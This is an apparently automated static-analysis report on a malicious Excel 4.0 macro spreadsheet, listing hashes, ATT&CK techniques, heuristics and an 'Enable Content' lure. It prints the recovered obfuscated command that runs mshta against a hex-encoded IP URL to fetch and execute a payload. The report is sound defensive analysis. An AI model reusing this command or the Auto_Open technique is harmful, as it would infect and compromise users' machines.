Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e492f31ca20d9988…

MALICIOUS

Office (OLE) / .XLS

65.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 3396f9ba2274ee828ede6146e7476007 SHA-1: 8f52fefbd8dadc7e041a8a4ed89866d2e29d433b SHA-256: e492f31ca20d99888b2434dcb4d9af1f93ed4c485b9bd2bc550ce8ae8021b9cd
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link/Object: Malicious File

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common social engineering tactic. The extracted macro reveals a reconstructed command: 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating it attempts to download and execute a payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes